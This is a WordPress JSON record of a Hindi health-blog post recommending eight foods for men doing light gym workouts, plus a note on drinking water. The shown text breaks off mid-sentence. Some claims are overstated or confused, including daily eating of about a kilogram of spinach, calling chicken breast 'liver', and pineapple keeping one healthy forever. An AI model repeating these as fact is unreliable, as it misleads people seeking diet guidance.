{"id":713,"date":"2022-01-14T11:56:05","date_gmt":"2022-01-14T06:26:05","guid":{"rendered":"https:\/\/tvhealth.in\/hindi\/?p=713"},"modified":"2025-08-18T22:48:09","modified_gmt":"2025-08-18T17:18:09","slug":"diet-for-men-during-light-gym-in-hindi","status":"publish","type":"post","link":"https:\/\/tvhealth.in\/hindi\/diet-for-men-during-light-gym-in-hindi\/","title":{"rendered":"\u0932\u093e\u0907\u091f \u091c\u093f\u092e : \u092a\u0941\u0930\u0941\u0937\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f 8 \u0906\u0939\u093e\u0930"},"content":{"rendered":"<h2 style=\"text-align: justify;\">\u0932\u093e\u0907\u091f \u091c\u093f\u092e \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u092a\u0941\u0930\u0941\u0937\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0906\u0939\u093e\u0930<\/h2>\n<p style=\"text-align: justify;\">\u0910\u0938\u0947 \u092c\u0939\u0941\u0924 \u0938\u0947 \u0932\u094b\u0917 \u0939\u0948 \u091c\u093f\u0928\u094d\u0939\u0947\u0902 \u0938\u0941\u092c\u0939 \u0909\u0920\u0915\u0930 \u091c\u093f\u092e \u091c\u093e\u0915\u0930 \u0935\u0930\u094d\u0915\u0906\u0909\u091f \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u0906\u0932\u0938 \u0906\u0924\u093e \u0939\u0948\u0964 \u091c\u0932\u094d\u0926\u0940 \u0909\u0920\u0928\u093e, \u091f\u093e\u0907\u092e \u092a\u0930 \u0911\u092b\u093f\u0932 \u092a\u0939\u0941\u0902\u091a\u0928\u093e \u0914\u0930 \u092b\u093f\u0930 \u0926\u093f\u0928\u092d\u0930 \u0915\u093e \u091f\u0947\u0902\u0936\u0928 \u0932\u0947\u0928\u093e\u0964 \u0907\u0938 \u0935\u091c\u0939 \u0938\u0947 \u0915\u0908 \u092a\u0941\u0930\u0941\u0937 \u090f\u0915\u094d\u0938\u0930\u0938\u093e\u0907\u0938 \u0915\u0930\u0928\u0947 \u0938\u0947 \u092c\u091a\u0924\u0947 \u0939\u0948\u0902\u0964 \u0905\u0917\u0930 \u092f\u0939\u0940\u0902 \u0938\u092e\u0938\u094d\u092f\u093e \u0906\u092a\u0915\u0947 \u0938\u093e\u0925 \u092d\u0940 \u0939\u094b\u0924\u0940 \u0939\u0948 \u0924\u094b \u0938\u0941\u092c\u0939 \u0915\u0940 \u091c\u0917\u0939 \u0936\u093e\u092e \u0915\u094b \u0935\u0930\u094d\u0915\u0906\u0909\u091f \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964 \u0907\u0938 \u0938\u092e\u092f \u0935\u0930\u094d\u0915\u0906\u0909\u091f \u0915\u0930\u0928\u0947 \u0915\u0947 \u092d\u0940 \u0922\u0947\u0930\u094b\u0902 \u092b\u093e\u092f\u0926\u0947 \u0939\u0948\u0902\u0964<\/p>\n<figure id=\"attachment_1517\" aria-describedby=\"caption-attachment-1517\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-1517 size-full\" src=\"https:\/\/tvhealth.in\/hindi\/wp-content\/uploads\/2022\/01\/fruits-768x458-1.jpg\" alt=\"\u092b\u0932\u094b\u0902 \u0938\u0947 \u0930\u0939\u094b \u0938\u093e\u0935\u0927\u093e\u0928\" width=\"600\" height=\"357\" \/><figcaption id=\"caption-attachment-1517\" class=\"wp-caption-text\">\u0932\u093e\u0907\u091f \u091c\u093f\u092e \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u092a\u0941\u0930\u0941\u0937\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0906\u0939\u093e\u0930<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">\u0938\u093e\u0925 \u0939\u0940 \u0905\u0915\u094d\u0938\u0930 \u0932\u094b\u0917 \u0938\u0941\u092c\u0939 \u091c\u0932\u094d\u0926\u0940 \u0909\u0920\u0915\u0930 \u091c\u093f\u092e \u091c\u093e\u0915\u0930 \u090f\u0915\u094d\u0938\u0930\u0938\u093e\u0907\u091c, \u090f\u0930\u094b\u092c\u093f\u0915\u094d\u0938 \u0915\u0930\u0928\u093e \u092a\u0938\u0902\u0926 \u0915\u0930\u0924\u0947 \u0939\u0948\u0902, \u0915\u094d\u092f\u094b\u0902\u0915\u093f \u0938\u0941\u092c\u0939 \u0939\u092e\u093e\u0930\u0940 \u092c\u0949\u0921\u0940 \u0905\u0927\u093f\u0915 \u090f\u0915\u094d\u091f\u093f\u0915 \u0914\u0930 \u092b\u094d\u0930\u0947\u0936 \u092e\u0939\u0938\u0942\u0938 \u0915\u0930\u0924\u0940 \u0939\u0948\u0964 \u0935\u0939\u0940\u0902 \u0915\u0941\u091b \u0932\u094b\u0917 \u0938\u0941\u092c\u0939 \u0915\u0940 \u092a\u094d\u092f\u093e\u0930\u0940 \u0938\u0940 \u0928\u0940\u0902\u0926 \u0916\u0930\u093e\u092c \u0928\u0939\u0940\u0902 \u0915\u0930\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902 \u0914\u0930 \u0905\u092a\u0928\u0940 \u090f\u0915\u094d\u0938\u0930\u0938\u093e\u0907\u091c\u00a0\u092d\u0940 \u0915\u0930\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902 \u0924\u094b \u0935\u0947 \u0932\u094b\u0917 \u0936\u093e\u092e \u0915\u094b \u0935\u0930\u094d\u0915\u0906\u0909\u091f \u0915\u0930\u0924\u0947 \u0939\u0948\u0902\u0964 \u0907\u0938\u0938\u0947 \u092d\u0940 \u092b\u093e\u092f\u0926\u0947 \u0909\u0924\u0928\u0947 \u0939\u0940 \u092e\u093f\u0932\u0947\u0917\u0947\u0902, \u091c\u093f\u0924\u0928\u093e \u0938\u0941\u092c\u0939 \u090f\u0915\u094d\u0938\u0930\u0938\u093e\u0907\u0938 \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092e\u093f\u0932\u0924\u0947 \u0939\u0948\u0902\u0964 \u0905\u0917\u0930 \u0936\u094b\u0927\u0915\u0930\u094d\u0924\u093e\u0913\u0902 \u0915\u0940 \u092e\u093e\u0928\u0947, \u0924\u094b \u0938\u0941\u092c\u0939 \u0915\u0940 \u092c\u091c\u093e\u090f \u0936\u093e\u092e \u0915\u094b \u092c\u0949\u0921\u0940 \u092e\u0947\u0902 \u090f\u0928\u0930\u094d\u091c\u0940 \u092a\u0948\u0926\u093e \u0915\u0930\u0928\u0947 \u0915\u0940 \u0915\u094d\u0937\u092e\u0924\u093e \u0905\u0927\u093f\u0915 \u0939\u094b\u0924\u0940 \u0939\u0948, \u092c\u0932\u094d\u0915\u093f \u0936\u093e\u092e \u0915\u0947 \u0938\u092e\u092f \u0939\u092e\u093e\u0930\u093e \u0936\u0930\u0940\u0930 \u092a\u0939\u0932\u0947 \u0938\u0947 \u0939\u0940 \u0935\u0949\u092e\u0905\u092a \u0939\u094b\u0924\u0940 \u0939\u0948 \u0914\u0930 \u0935\u094d\u092f\u0915\u094d\u0924\u093f \u0915\u094b \u0911\u092b\u093f\u0938 \u0915\u0947 \u092c\u093e\u0926 \u0925\u094b\u0921\u093c\u093e \u0930\u093f\u0932\u0947\u0915\u094d\u0938 \u092b\u0940\u0932 \u0915\u0930\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n<p style=\"text-align: justify;\">\u0935\u0939\u0940\u0902 \u092c\u093e\u0924 \u0915\u0930\u0947\u0902 \u091c\u093f\u092e \u0915\u0940 \u0924\u094b \u091c\u093f\u092e \u091c\u093e\u0915\u0930 \u0935\u0930\u094d\u0915\u0906\u0909\u091f \u0915\u0930\u0928\u0947 \u0938\u0947 \u0939\u092e\u093e\u0930\u0940 \u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u093e\u0902 \u092e\u091c\u092c\u0942\u0924 \u0939\u094b\u0924\u0940 \u0939\u0948 \u0914\u0930 \u0939\u092e\u0947\u0902 \u090f\u0915 \u0938\u094d\u092e\u093e\u0930\u094d\u091f \u0932\u0941\u0915 \u092d\u0940 \u092e\u093f\u0932\u0924\u093e \u0939\u0948\u0964 \u091c\u093f\u092e \u091c\u093e\u0915\u0930 \u092a\u0938\u0940\u0928\u093e \u092c\u0939\u093e\u0928\u093e \u092c\u0939\u093e\u0928\u093e \u0939\u092e\u0947\u0902 \u092e\u093e\u0928\u0938\u093f\u0915 \u0930\u0942\u092a \u0938\u0947 \u092d\u0940 \u092b\u093e\u092f\u0926\u093e \u092a\u0939\u0941\u0902\u091a\u093e\u0924\u093e \u0939\u0948, \u0932\u0947\u0915\u093f\u0928 \u0938\u093f\u0930\u094d\u092b \u091c\u093e\u0915\u0930 \u090f\u0915\u094d\u0938\u0930\u0938\u093e\u0930\u0907\u0938 \u0915\u0930\u0928\u093e \u0915\u093e\u092b\u0940 \u0928\u0939\u0940\u0902 \u092e\u093e\u0928\u093e \u091c\u093e\u0924\u093e\u0964 \u0906\u092a\u0915\u094b \u0907\u0938\u0915\u0947 \u0938\u093e\u0925 \u092c\u0947\u0939\u0926 \u091c\u0930\u0942\u0930\u0940 \u0921\u093e\u0907\u091f \u0932\u0947\u0928\u0940 \u091a\u093e\u0939\u093f\u090f\u0964 \u092b\u093f\u0930 \u091a\u093e\u0939\u0947 \u0906\u092a \u091c\u093f\u092e \u092e\u0947\u0902 \u090f\u0915\u094d\u0938\u0930\u0938\u093e\u0907\u0938 \u0915\u0930\u0928\u0947, \u092a\u093e\u0930\u094d\u0915 \u092e\u0947\u0902 \u0915\u0930\u0947\u0902 \u092f\u093e \u0918\u0930 \u092a\u0930 \u092f\u094b\u0917\u093e \u0915\u0930\u0947\u0902\u0964 \u0907\u0938\u092e\u0947\u0902 \u092e\u0941\u0916\u094d\u092f \u0939\u092e\u093e\u0930\u0947 \u0906\u0939\u093e\u0930 \u092f\u093e\u0928\u0940 \u0921\u093e\u0907\u091f \u0915\u093e \u0905\u0939\u0938 \u0930\u094b\u0932 \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u0907\u0938\u0932\u093f\u090f \u0906\u091c \u0939\u092e \u0905\u092a\u0928\u0947 \u0907\u0938 \u0932\u0947\u0916 \u092e\u0947\u0902 \u091c\u093f\u092e \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u092a\u0941\u0930\u0942\u0937\u094b\u0902 \u0915\u0940 \u0921\u093e\u0907\u091f \u0915\u0947 \u092c\u093e\u0930\u0947 \u092e\u0947\u0902 \u092c\u093e\u0924 \u0915\u0930\u0947\u0902\u0917\u0947\u0964<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/insul.agvahealthcare.in\/\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-881 aligncenter\" src=\"https:\/\/tvhealth.in\/hindi\/wp-content\/uploads\/2022\/01\/Advertising-Web-Banner-1.jpg\" alt=\"Advertising-Web-Banner\" width=\"1200\" height=\"150\" \/><\/a><\/p>\n<h3 style=\"text-align: justify;\">\u092a\u0941\u0930\u0942\u0937\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u091c\u093f\u092e \u0921\u093e\u0907\u091f<\/h3>\n<ol>\n<li><strong>\u0905\u0902\u0921\u0947 (Egg) &#8211; <\/strong>\u0935\u094d\u092f\u0915\u094d\u0924\u093f \u0915\u094b \u0938\u092c\u0938\u0947 \u092a\u0939\u0932\u0947 \u0905\u092a\u0928\u0947 \u0926\u093f\u0928 \u0936\u0941\u0930\u0941\u0906\u0924 \u0909\u092c\u0932\u0947 \u0905\u0902\u0921\u094b\u0902 \u0938\u0947 \u0915\u0940\u091c\u093f\u090f\u0964 \u0938\u0941\u092c\u0939 \u0928\u093e\u0936\u094d\u0924\u0947 \u092e\u0947\u0902 \u0926\u094b \u0905\u0902\u0921\u0947 \u0916\u093e\u0928\u0947 \u0938\u0947 \u0906\u092a\u0915\u0940 \u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u093e\u0902 \u0914\u0930 \u0935\u091c\u0928 \u0935\u091c\u0928 \u0924\u0947\u091c\u0940 \u0938\u0947 \u092c\u0922\u093c\u0947\u0917\u093e\u0964 \u0905\u0902\u0921\u093e \u092f\u093e\u0928\u0940 \u0909\u0938\u0915\u093e \u0938\u093f\u0930\u094d\u092b \u0938\u092b\u0947\u0926 \u0939\u093f\u0938\u094d\u0938\u093e \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0915\u093e \u0909\u091a\u094d\u091a \u0938\u094d\u0924\u094d\u0930\u094b\u0924 \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u090f\u0915 \u0905\u0902\u0921\u0947 \u092e\u0947\u0902 \u091b\u0939 \u0938\u0947 \u0906\u0920 \u0917\u094d\u0930\u093e\u092e \u0924\u0915 \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u0938\u093e\u0925 \u0939\u0940 \u0907\u0938\u092e\u0947\u0902 \u091c\u093f\u0902\u0915, \u0935\u093f\u091f\u093e\u092e\u093f\u0928, \u0906\u092f\u0930\u0928 \u0914\u0930 \u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u092d\u0940 \u092a\u094d\u0930\u091a\u0941\u0930 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u092a\u093e\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u092f\u0947 \u0938\u092c \u091a\u0940\u091c\u0947\u0902 \u092e\u093f\u0932\u0915\u0930 \u0907\u0938\u0947 \u090f\u0915 \u0915\u092e\u094d\u0932\u0940\u091f \u0921\u093e\u0907\u091f \u092c\u0928\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n<li><strong>\u091a\u093f\u0915\u0928 \u092c\u094d\u0930\u0940\u0938\u094d\u0924 (Chicken Breast) &#8211; <\/strong>\u091a\u093f\u0915\u0928 \u092c\u094d\u0930\u0940\u0938\u094d\u0924 \u092f\u093e\u0928\u0940 \u0915\u0932\u0947\u091c\u0940, \u091c\u094b \u0935\u094d\u092f\u0915\u094d\u0924\u093f \u091c\u093f\u092e \u0915\u0930\u0924\u093e \u0939\u0948 \u0909\u0928\u0915\u0947 \u0932\u093f\u090f \u091a\u093f\u0915\u0928 \u092e\u0939\u0924\u094d\u0935\u092a\u0942\u0930\u094d\u0923 \u0906\u0939\u093e\u0930 \u0939\u0948\u0964 \u092c\u0924\u093e \u0926\u0947\u0902 \u0915\u093f, \u0938\u094c \u0917\u094d\u0930\u093e\u092e \u0915\u0932\u0947\u091c\u0940 \u092e\u0947\u0902 30 \u0917\u094d\u0930\u093e\u092e \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0939\u094b\u0924\u093e \u0939\u0948 \u0914\u0930 \u0907\u0938\u092e\u0947\u0902 \u092b\u0947\u091f \u0915\u0940 \u092e\u093e\u0924\u094d\u0930\u093e \u092c\u0939\u0941\u0924 \u0915\u092e \u092a\u093e\u0908 \u091c\u093e\u0924\u0940 \u0939\u0948\u0964 \u0907\u0938\u0915\u0940 \u0915\u0940\u092e\u0924 \u0915\u092e \u0939\u0940 \u0939\u094b\u0924\u0940 \u0939\u0948 \u0914\u0930 \u0907\u0938\u0947 \u092c\u0928\u093e\u0928\u093e \u092d\u0940 \u092c\u0947\u0939\u0926 \u0906\u0938\u093e\u0928 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n<li><strong>\u092a\u093e\u0932\u0915 (Spinach) &#8211; <\/strong>\u0936\u093e\u0915\u093e\u0939\u093e\u0930\u0940 \u0935\u094d\u092f\u0915\u094d\u0924\u093f \u0915\u0947 \u0938\u093f\u090f \u092a\u093e\u0932\u0915 \u090f\u0915 \u0905\u091a\u094d\u091b\u093e \u0938\u094d\u0924\u094d\u0930\u094b\u0924 \u0939\u0948\u0964 \u090f\u0915 \u0936\u094b\u0927 \u0915\u0947 \u092e\u0941\u0924\u093e\u092c\u093f\u0915, \u092a\u093e\u0932\u0915 \u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u094b\u0902 \u0915\u0947 \u0928\u093f\u0930\u094d\u092e\u093e\u0923 \u0915\u0940 \u0917\u0924\u093f 20 \u092b\u0940\u0938\u0926\u0940 \u0924\u0915 \u092c\u0922\u093c\u093e \u0926\u0947\u0924\u0940 \u0939\u0948\u0964 \u092f\u0939 \u0930\u094b\u091c\u093e\u0928\u093e \u0915\u0930\u0940\u092c \u090f\u0915 \u0915\u093f\u0932\u094b \u092a\u093e\u0932\u0915 \u0916\u093e\u0928\u0947 \u0938\u0947 \u0906\u092a\u0915\u094b \u0915\u093e\u092b\u0940 \u0932\u093e\u092d \u092e\u093f\u0932\u0947\u0917\u093e\u0964<\/li>\n<li><strong>\u092c\u094d\u0930\u094b\u0915\u0932\u0940 (Broccoli) &#8211; <\/strong>\u090f\u0915\u094d\u0938\u0930\u0938\u093e\u0907\u0938 \u0915\u0947 \u092c\u093e\u0926 \u0906\u092a \u0905\u092a\u0928\u0947 \u0906\u0939\u093e\u0930 \u092e\u0947\u0902 \u092c\u094d\u0930\u094b\u0915\u0932\u0940, \u092a\u093e\u0932\u0915, \u091f\u092e\u093e\u091f\u0930, \u092e\u0915\u094d\u0915\u093e \u0914\u0930 \u092a\u094d\u092f\u093e\u091c \u091c\u0948\u0938\u0947 \u092b\u093e\u0907\u092c\u0930 \u092f\u0941\u0915\u094d\u0924 \u0906\u0939\u093e\u0930 \u0915\u094b \u0936\u093e\u092e\u093f\u0932 \u0915\u0930\u0947\u0902\u0964 \u0906\u092a\u0915\u094b \u0926\u093f\u0928 \u092e\u0947\u0902 \u0915\u092e \u0938\u0947 \u0915\u092e \u092a\u093e\u0902\u091a \u0938\u0947 \u0938\u093e\u0924 \u092c\u093e\u0930 \u092b\u0932\u094b\u0902 \u0914\u0930 \u0938\u092c\u094d\u091c\u093f\u092f\u094b\u0902 \u0915\u093e \u0938\u0947\u0935\u0928 \u0915\u0930\u0928\u093e \u0939\u0948\u0964 \u0907\u0938\u092e\u0947\u0902 \u0935\u093f\u091f\u093e\u092e\u093f\u0928, \u092e\u093f\u0928\u0930\u0932, \u0914\u0930 \u092b\u093e\u0907\u092c\u0930 \u0905\u091a\u094d\u091b\u0940 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u0938\u093e\u0925 \u0939\u0940 \u0905\u092a\u0928\u0947 \u0938\u092c\u094d\u091c\u093f\u092f\u094b\u0902 \u0915\u094b \u0905\u0927\u093f\u0915 \u0928 \u092a\u0915\u093e\u090f\u0902, \u0915\u094d\u092f\u094b\u0902\u0915\u093f \u0907\u0938\u092e\u0947\u0902 \u092e\u094c\u091c\u0942\u0926 \u092a\u094c\u0937\u094d\u091f\u093f\u0915 \u092a\u0926\u093e\u0930\u094d\u0926 \u0938\u092e\u093e\u092a\u094d\u0924 \u0939\u094b \u091c\u093e\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<li><strong>\u0936\u0915\u0930\u0915\u0902\u0926\u0940 (Sweet potato) &#8211; <\/strong>\u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u093e\u0902 \u092c\u0928\u093e\u0928\u0947 \u0915\u0940 \u091a\u093e\u0939\u0924 \u0930\u0916\u0928\u0947 \u0935\u093e\u0932\u0947 \u0932\u094b\u0917\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u092f\u0947 \u092c\u0939\u0941\u0924 \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926 \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948\u0964 \u0907\u0928\u092e\u0947\u0902 \u0915\u093e\u0930\u094d\u092c\u094b\u0939\u093e\u0907\u0921\u094d\u0930\u0947\u091f \u0915\u0940 \u092e\u093e\u0924\u094d\u0930\u093e \u0915\u093e\u092b\u0940 \u0905\u0927\u093f\u0915 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964 \u092f\u0939 \u0936\u0930\u0940\u0930 \u0915\u0947 \u0932\u093f\u090f \u092c\u0947\u0939\u0926 \u091c\u0930\u0942\u0930\u0940 \u092a\u094c\u0937\u094d\u091f\u093f\u0915 \u0906\u0939\u093e\u0930 \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u0936\u0915\u0930\u0915\u0902\u0926\u0940 \u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u092d\u0940 \u092e\u0926\u0926\u0917\u093e\u0930 \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u0907\u0938\u0915\u0947 \u0938\u093e\u0925 \u0939\u0940 \u0907\u0938\u092e\u0947\u0902 \u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0914\u0930 \u092e\u093f\u0928\u0930\u0932 \u0915\u0940 \u092d\u0940 \u092a\u094d\u0930\u091a\u0941\u0930 \u092e\u093e\u0924\u094d\u0930\u093e \u0939\u094b\u0924\u0940 \u0939\u0948\u0964 \u0907\u0938\u0938\u0947 \u0930\u0915\u094d\u0924 \u0936\u0930\u094d\u0915\u0930\u093e \u0915\u093e \u0938\u094d\u0924\u0930 \u092d\u0940 \u0915\u0902\u091f\u094d\u0930\u094b\u0930 \u092e\u0947\u0902 \u0906\u0924\u093e \u0939\u0948\u0964<\/li>\n<li><strong>\u092a\u0928\u0940\u0930 (Paneer) &#8211; <\/strong>\u092a\u0928\u0940\u0930 \u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u094b\u0902 \u0915\u0947 \u0928\u093f\u0930\u094d\u092e\u093e\u0923 \u092e\u0947\u0902 \u092c\u0947\u0939\u0926 \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964 \u0915\u0949\u091f\u0947\u091c \u091a\u0940\u091c \u0915\u0947 \u090f\u0915 \u0915\u092a \u092e\u0947\u0902 28 \u0917\u094d\u0930\u093e\u092e \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u0935\u0939\u0940\u0902 \u0907\u0938\u0947 \u0916\u093e\u0928\u0947 \u0915\u0947 \u092c\u093e\u0926 \u092d\u0942\u0916 \u092c\u093f\u0932\u094d\u0915\u0941\u0932 \u092d\u0940 \u0928\u0939\u0940\u0902 \u0932\u0917\u0924\u0940 \u0939\u0948\u0964<\/li>\n<li><strong>\u092c\u093e\u0926\u093e\u092e (Almond) &#8211; <\/strong>\u0939\u092e \u092c\u091a\u092a\u0928 \u0938\u0947 \u0938\u0941\u0928\u0924\u0947 \u0906 \u0930\u0939\u0947 \u0939\u0948\u0902 \u0915\u093f \u092c\u093e\u0926\u093e\u092e \u0916\u093e\u0928\u0947 \u0938\u0947 \u0938\u0947\u0939\u0924 \u0905\u091a\u094d\u091b\u0940 \u0939\u094b\u0924\u0940 \u0939\u0948 \u0914\u0930 \u0926\u093f\u092e\u093e\u0917 \u0924\u0947\u091c \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u0907\u0938\u092e\u0947\u0902 \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0914\u0930 \u092b\u0947\u091f \u0905\u091a\u094d\u091b\u0940 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u092a\u093e\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948, \u0932\u0947\u0915\u093f\u0928 \u0938\u092c\u0938\u0947 \u091c\u0930\u0942\u0930\u0940 \u0907\u0938\u092e\u0947\u0902 \u092a\u093e\u090f \u091c\u093e\u0928\u0947 \u0935\u093e\u0932\u093e \u0935\u093f\u091f\u093e\u092e\u093f\u0928-\u0908 \u0939\u094b\u0924\u093e \u0939\u0948 \u091c\u094b \u0939\u092e\u093e\u0930\u0940 \u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u094b\u0902 \u0915\u0947 \u0928\u093f\u0930\u094d\u092e\u093e\u0923 \u092e\u0947\u0902 \u0915\u093e\u092b\u0940 \u091c\u0930\u0942\u0930\u0940 \u092e\u093e\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u092c\u093e\u0926\u093e\u092e \u0936\u0915\u094d\u0924\u093f\u0936\u093e\u0932\u0940 \u090f\u0902\u091f\u0940-\u0911\u0915\u094d\u0938\u0940\u0921\u0947\u0902\u091f \u0936\u0930\u0940\u0930 \u0938\u0947 \u0935\u093f\u0937\u0948\u0932\u0947 \u092a\u0926\u093e\u0930\u094d\u0925\u094b\u0902 \u0915\u094b \u092c\u093e\u0939\u0930 \u0928\u093f\u0915\u093e\u0932\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0924\u093e \u0939\u0948, \u091c\u093f\u0938\u0938\u0947 \u0906\u092a\u0915\u094b \u090f\u0915\u094d\u0938\u0930\u0938\u093e\u0907\u091c \u0938\u0947 \u091c\u0932\u094d\u0926 \u0930\u093f\u0915\u0935\u0930 \u0939\u094b\u0928\u0947 \u092e\u0947\u0902 \u0938\u0939\u093e\u092f\u0924\u093e \u092e\u093f\u0932\u0924\u0940 \u0939\u0948\u0964<\/li>\n<li><strong>\u0905\u0928\u093e\u0928\u093e\u0938 (Pineapple) &#8211; <\/strong>\u0905\u0928\u093e\u0928\u093e\u0938 \u092e\u0947\u0902 \u092e\u094c\u091c\u0942\u0926 \u0924\u0924\u094d\u0935 \u092c\u094d\u0930\u094b\u092e\u093f\u0932\u0940\u0928 \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0915\u094b \u092a\u091a\u093e\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0924\u093e \u0939\u0948\u0964 \u0938\u093e\u0925 \u0939\u0940 \u092f\u0947 \u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u094b\u0902 \u092e\u0947\u0902 \u091c\u0932\u0928 \u0915\u094b\u0947 \u092d\u0940 \u0915\u092e \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0924\u093e \u0939\u0948, \u0907\u0938\u0932\u093f\u090f \u090f\u0915\u094d\u0938\u0930\u0938\u093e\u0907\u094d\u0938 \u0915\u0947 \u092c\u093e\u0926 \u0906\u092a\u0915\u094b \u0905\u092a\u0928\u0940 \u0921\u093e\u0907\u091f \u092e\u0947\u0902 \u0905\u0928\u093e\u0928\u093e\u0938 \u0915\u094b \u091c\u0930\u0942\u0930 \u0936\u093e\u092e\u093f\u0932 \u0915\u0930\u0928\u093e \u091a\u093e\u0939\u093f\u090f\u0964 \u0905\u0928\u093e\u0928\u093e\u0938 \u0916\u093e\u0928\u0947 \u092e\u0947\u0902 \u092e\u092d\u0940 \u0938\u094d\u0935\u093e\u0926\u093f\u0937\u094d\u091f \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u091c\u094b \u090f\u0915 \u092c\u093e\u0930 \u0907\u0938\u0947 \u0916\u093e\u0928\u093e \u0936\u0941\u0930\u0942 \u0915\u0930\u0947\u0917\u093e \u0935\u0947 \u0939\u092e\u0947\u0936\u093e \u0938\u094d\u0935\u0938\u094d\u0925 \u092c\u0928\u093e \u0930\u0939\u0947\u0917\u093e\u0964<\/li>\n<\/ol>\n<figure id=\"attachment_717\" aria-describedby=\"caption-attachment-717\" style=\"width: 839px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-717 size-full\" src=\"https:\/\/tvhealth.in\/hindi\/wp-content\/uploads\/2022\/01\/Diet-for-men-during-Light-Gym.jpg\" alt=\"\u0932\u093e\u0907\u091f \u091c\u093f\u092e \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u092a\u0941\u0930\u0941\u0937\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0906\u0939\u093e\u0930\" width=\"839\" height=\"500\" \/><figcaption id=\"caption-attachment-717\" class=\"wp-caption-text\">\u092a\u0941\u0930\u0942\u0937\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u091c\u093f\u092e \u0921\u093e\u0907\u091f<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">\u0906\u092a\u0915\u094b \u092c\u0924\u093e \u0926\u0947\u0902 \u0915\u093f, \u092a\u093e\u0928\u0940 \u092a\u0940\u0928\u093e \u092c\u0947\u0939\u0926 \u091c\u0930\u0942\u0930\u0940 \u0939\u0948\u0964 \u092a\u093e\u0928\u0940 \u0915\u0908 \u092e\u093e\u092e\u0932\u094b\u0902 \u092e\u0947\u0902 \u0906\u0939\u093e\u0930 \u0938\u0947 \u092d\u0940 \u0905\u0927\u093f\u0915 \u091c\u0930\u0942\u0930\u0940 \u0939\u0948\u0964 \u0939\u092e\u093e\u0930\u0947 \u0936\u0930\u0940\u0930 \u0915\u093e 70 \u092b\u0940\u0938\u0926\u0940 \u0939\u093f\u0938\u094d\u0938\u093e \u092a\u093e\u0928\u0940 \u0939\u094b\u0924\u093e \u0939\u0948 \u0914\u0930 \u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u093e\u0902 75% \u092a\u093e\u0928\u0940 \u0915\u0940 \u092c\u0928\u0940 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964 \u0905\u092a\u0928\u0940 \u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u094b\u0902 \u092e\u0947\u0902 \u0924\u0930\u0932\u0924\u093e \u092c\u0928\u093e\u090f \u0930\u0916\u0928\u0947 \u0914\u0930 